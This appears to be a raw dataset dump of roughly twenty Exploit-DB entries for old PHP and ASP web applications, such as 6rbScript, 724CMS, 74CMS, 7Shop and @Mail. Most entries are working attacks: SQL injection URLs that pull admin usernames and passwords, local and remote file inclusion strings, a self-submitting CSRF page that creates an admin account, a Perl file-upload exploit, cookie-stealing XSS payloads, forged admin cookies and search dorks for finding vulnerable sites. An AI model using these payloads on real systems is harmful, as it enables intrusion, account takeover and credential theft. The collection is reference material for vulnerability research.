deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6520
Description: 6rbScript 3.3 - 'section.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-21
Author: Stack

Exploit:
|___________________________________________________|
|
| 6rbScript V3.3 Local file Vulnerability
|
|___________________________________________________
|                                                   |
|
| script : www.6rbscript.com
|
| DorK   : inurl:"section.php?name=singers"
| dorK   : Powered By 6rbScript V3.3
|___________________________________________________|
 
Author : Stack
 
Expl need magic quote = off & open basdir = off in many server
 
site.il/section.php?name=../../../../etc/passwd

# milw0rm.com [2008-09-21]
Exploit-DB #6511
Description: 6rbScript 3.3 - 'singerid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: Hussin X

Exploit:
|___________________________________________________|
|
| 6rbScript V3.3 (singerid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : www.6rbscript.com
|
| DorK   : inurl:"section.php?name=singers"
| dorK   : Powered By 6rbScript V3.3
|___________________________________________________|


Exploit:
________


user name
_______

www.[target].com/[PATS]/section.php?name=singers&f=songs&singerid=-1+union+select+1,aid,3,4,5,6+from+7addad_authors--


password
_______

http://localhost/Script/section.php?name=singers&f=songs&singerid=-1+union+select+1,pwd,3,4,5,6+from+7addad_authors--




Admin LogIn :

www.[target].com/cpanel.php





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-21]
Exploit-DB #5400
Description: 724CMS 4.01 Enterprise - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-07
Author: Lidloses_Auge

Exploit:
###################################################################################
#										  #
#           724CMS <= 4.01 Enterprise  - SQL Injection Vulnerability              #
#										  #
#    found by:       Lidloses_Auge 					          #
#    Date:           07.04.2008							  #
#    Greetz to:      free-hack.com						  #
#										  #
###############################################################################################################################################
#																	      #
# Vulnerability:															      #
#																	      #
#    Document:      index.php														      #
#    GET-Parameter: ID														              #
#																	      #
# Dork:																	      #
#																	      #
#    724CMS + "Version 4.01"                    											      #
#																	      #
# Example:																      #
#																	      #
#    http://[target]/index.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x202d20,ID,User_Login,User_Password),13,14,	      #
#    15,16,17,18,19,20,21,22,23,24,25,26,27,28+FROM+Users--							                              #
#																	      #
# Notes:																      #
#																	      #
#    The number of columns isn't always 28. In some cases it can be also about 37. Check before you try. Some of 'em are blind injections.    #
#																	      #
###############################################################################################################################################

# milw0rm.com [2008-04-07]
Exploit-DB #12565
Description: 724CMS Enterprise 4.59 - 'section.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-11
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

724CMS Enterprise Version 4.59 (section.php) LFI Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Name: 724CMS Enterprise Version 4.59

Download: http://724cms.com/

-------------------------------------------------------------------------------------------

Exploit:

http://localhost/[path]/section.php?Module_Text=CoBRa_21&ID=6&Lang=En&Nav=Section&Module= [LF&#304;]

-------------------------------------------------------------------------------------------

Thanks cyberlog ;)

-------------------------------------------------------------------------------------------
Exploit-DB #12566
Description: 724CMS Enterprise 4.59 - 'section.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-11
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

724CMS Enterprise Version 4.59 (section.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Name: 724CMS Enterprise Version 4.59

Download: http://724cms.com/

-------------------------------------------------------------------------------------------

Exploit:

http://localhost/[path]/section.php?Nav=Section&ID=-1 union select 0,1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables--

http://localhost/[path]/index.php?auto_slide=&ID=-1 [SQL]

-------------------------------------------------------------------------------------------

Thanks cyberlog ;)

-------------------------------------------------------------------------------------------
Exploit-DB #12560
Description: 724CMS Enterprise 4.59 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-10
Author: cyberlog

Exploit:
# 724CMS Enterprise Version 4.59 SQL Injection Vulnerability
# Homepage : http://724cms.com/
# Discovered: by cyberlog
# Dork : 724CMS Powered, 724CMS Version 4.59. Enterprise
# Thanks : r00t3r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz, jayoes, thesims, setiawan,irvian,
           EA_Angel,BlueSpy, SoEy, A-technique, SarifJedul, wiro gendeng, ridho_bugs
# My Site : http://sekuritionline.net
# Channel : #sekuritionline


# Exploit :
# http://[target]/index.php?Lang=En&ID=[SQL Injection]


#special to Mama Sri Rahayu, C0li a.k.a antisecurity [ pinjem script perl-na ] :)
==============================================
We never die !!!! indonesian Underground Community
anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
Exploit-DB #46738
Description: 74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User)
Type: webapps
Platform: php
Date: 2019-04-22
Author: ax8

Exploit:
# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374

 

74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.

 

<!--poc.html(creat a administrater)-->

<!DOCTYPE html>

<html>

  <head>

  <title> CSRF Proof</title>

  <script type="text/javascript">

    function exec1(){

      document.getElementById('form1').submit();

    }

  </script>

  </head>

  <body onload="exec1();">

    <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">

      <input type="hidden" name="username" value="hacker1" />

  <input type="hidden" name="email" value="111111111@qq.com" />

      <input type="hidden" name="password" value="hacker1" />

      <input type="hidden" name="repassword" value="hacker1" />  

  <input type="hidden" name="role_id" value="1" />

    </form>

  </body>

</html>
Exploit-DB #6866
Description: 7Shop 1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-29
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(1000) . ".php"; # int.. yes i know PU!

print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+     7Shop <= 1.1 Remote Arbitrary File Upload     +
+             [Content-Type] -> Spoofing            +
+         Discovered && Coded By: t0pP8uZz          +
+                                                   +
+        Contact IRC: irc.rizon.net #sectalk        +
+ Vendor not notified! Later versions maybe vuln!   +
+                                                   +
+   Discovered On: 25 October 2008 / milw0rm.com    +
+                                                   +
+          Script Download: http://7shop.de         +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO

print "\nEnter URL(ie: http://site.com/shop): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/includes/imageupload.php',
                      Content_Type => 'form-data',
                      Content      => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /File is valid/) {
    
    print "File successfully uploaded! Access your file here: " . $url . "/images/artikel/" . $fname . "\n"; # say()? nah you havent got perl510 yet. have you!
}
elsif($re->content =~ /The requested URL/) { # apache debug only
    
    print "File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n";
}
else {
    
    print "File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n";
}
exit;

# milw0rm.com [2008-10-29]
Exploit-DB #26684
Description: 88Scripts Event Calendar 2.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15658/info

88Scripts Event Calendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com//index.php?d=28&m=[SQL]
Exploit-DB #41060
Description: 9 Network Linkedin Clone Script - Improper Access Restrictions
Type: webapps
Platform: php
Date: 2017-01-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Improper Access Restrictions 
# Date: 15.01.2017
# Vendor Homepage: http://theninehertz.com
# Script Name: 9 network Linkedin Clone – Classified Ads Script
# Script Version: v1.0
# Script Buy Now: http://theninehertz.com/linkedin-clone
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Direct entrance..
# An attacker can exploit this issue via a browser.
# The following example URIs are available:
# http://localhost/[PATH]/MyCP/welcome.php
# http://localhost/[PATH]/MyCP/industry-list.php
# http://localhost/[PATH]/MyCP/active_user.php
# http://localhost/[PATH]/MyCP/deactive_user.php
# http://localhost/[PATH]/MyCP/unverified_user.php
# http://localhost/[PATH]/MyCP/job-list.php
# http://localhost/[PATH]/MyCP/job-pack.php
# Vs.......
# # # # #
Exploit-DB #28913
Description: @cid Stats 2.3 - 'Install.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-06
Author: Mahmood_ali

Exploit:
source: https://www.securityfocus.com/bid/20925/info

The '@cid stats' program is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.3 is vulnerable to this issue.

http://www.example.com/install.php3?repertoire=ShElL.txt?
Exploit-DB #5881
Description: @CMS 2.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-21
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## @CMS 2.1.1 ( readarticle.php article_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : @CMS 2.1.1
##
## site    : www.atcode.net
##
########################
########################
##  -(:: SQL ::)-
##
##    www.site.de/readarticle.php?article_id=-1'+union+select+1,1,concat_ws(0x3a,user_name,user_password),1,1,1,1,1,1,1+from+atcms_users/*
##
##    and
##
##    www.site.com/articles.php?cat_id=-1'+union+select+1,1,concat_ws(0x3a,user_name,user_password),1,1,1,1,1,1,1+from+atcms_users/*
##
#######################
#######################


#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-21]
Exploit-DB #31566
Description: @lex Guestbook 4.0.5 - 'index.php?test' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28519/info
 
@lex Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
@lex Guestbook 4.0.5 is vulnerable; other versions may also be affected.
 
UPDATE (April 25, 2008): The vendor indicates that the 'test' parameter is a user-defined parameter and is not vulnerable. 

http://www.example.com/alexguestbook4/index.php?mots_search=&rechercher=Ok&debut=0(=&skin=&test="><script>alert()</script>
Exploit-DB #31565
Description: @lex Guestbook 4.0.5 - 'setup.php?language_setup' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28519/info

@lex Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@lex Guestbook 4.0.5 is vulnerable; other versions may also be affected.

UPDATE (April 25, 2008): The vendor indicates that the 'test' parameter is a user-defined parameter and is not vulnerable. 

http://www.example.com/alexguestbook4/setup.php?language_setup="><script>alert()</script>
Exploit-DB #33486
Description: @lex Guestbook 5.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-11
Author: D3V!L FUCKER

Exploit:
source: https://www.securityfocus.com/bid/37706/info

@lex Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@lex Guestbook 5.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?lang=english&skin=&debut=0&seeAdd=1&seeNotes=&seeMess=[XSS-Vuln]
Exploit-DB #31567
Description: @lex Poll 1.2 - 'setup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28520/info

@lex Poll is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@lex Poll 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/alex_poll2/setup.php?language_setup="><script>alert("CANAKKALE-GECiLMEZ")</script>
Exploit-DB #24638
Description: @lexPHPTeam @lex Guestbook 3.12 - PHP Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-09-27
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/11260/info

A vulnerability is reported to exist in the @lexPHPTeam @lex Guestbook software that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system. The issue exists due to improper validation of user-supplied data.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.

http://www.example.com/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f
Exploit-DB #32317
Description: @Mail 5.42 and @Mail WebMail 5.0.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-03
Author: C1c4Tr1Z

Exploit:
source: https://www.securityfocus.com/bid/30992/info

@Mail and @Mail WebMail are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect the following versions:

@Mail WebMail 5.05 running on Microsoft Windows
@Mail 5.42 running on CentOS

Other versions running on different platforms may also be affected.

http://www.example.com/parse.php?file="><img/src/onerror=alert(document.cookie)> http://www.example.com/parse.php?file=html/english/help/filexp.html&FirstLoad=1&HelpFile=';}onload=function(){alert(0);foo=' http://www.example.com/showmail.php?Folder=Spam';document.location='\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0077\u0069\u0074\u0068\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u0029\u0061\u006C\u0065\u0072\u0074\u0028\u0063\u006F\u006F\u006B\u0069\u0065\u0029';foo=' http://www.example.com/abook.php?func=view&abookview=global"><img/src/onerror="alert(document.cookie)&email=138195 http://www.example.com/showmail.php?Folder=Inbox&sort=EmailSubject&order=desc&start="><iframe/src="javascript:alert(document.cookie)
Exploit-DB #34690
Description: @Mail 6.1.9 - 'MailType' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-21
Author: Vicente Aguilera Diaz

Exploit:
source: https://www.securityfocus.com/bid/43377/info

@Mail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@Mail 6.1.9 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php/mail/auth/processlogin?emailName=&lt;emailName&gt;&amp;emailDomain=&lt;emailDomain&gt;&amp;cssStyle=original&amp;email=&lt;email&gt;password=&lt;password&gt;&amp;requestedServer=&amp;MailType=&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #8012
Description: A Better Member-Based ASP Photo Gallery - 'entry' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-09
Author: BackDoor

Exploit:
Script:A Better Member-Based ASP Photo Gallery
Download:
http://www.ontarioabandonedplaces.com/ipguardian/ABetterMemberBasedASPPhotoGallery.zip
Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery
Exploit:www.target.com/scriptpath/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
Dork:intitle:"A Better ASP User Gallery"
Live Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
BackDoordan Sevgilerle Thanks All Cyber-Warrior User : )
BackDoor Cyber-Warrior.Org - AkÄ±ncÄ±lar - Lojistik

# milw0rm.com [2009-02-09]
Exploit-DB #5954
Description: A+ PHP Scripts - Nms Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-06-26
Author: Virangar Security

Exploit:
  ####################################################################################################
  #                                                                                                  #
  #  ...:::::A+ PHP Scripts - News Management System Insecure Cookie Handling Vulnerability ::::.... #          
  ###################################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:

A+ PHP Scripts - News Management System, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.

---
exploit:
javascript:document.cookie = "mobsuser=1; path=/"; document.cookie = "mobspass=1; path=/";
-----
now you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-26]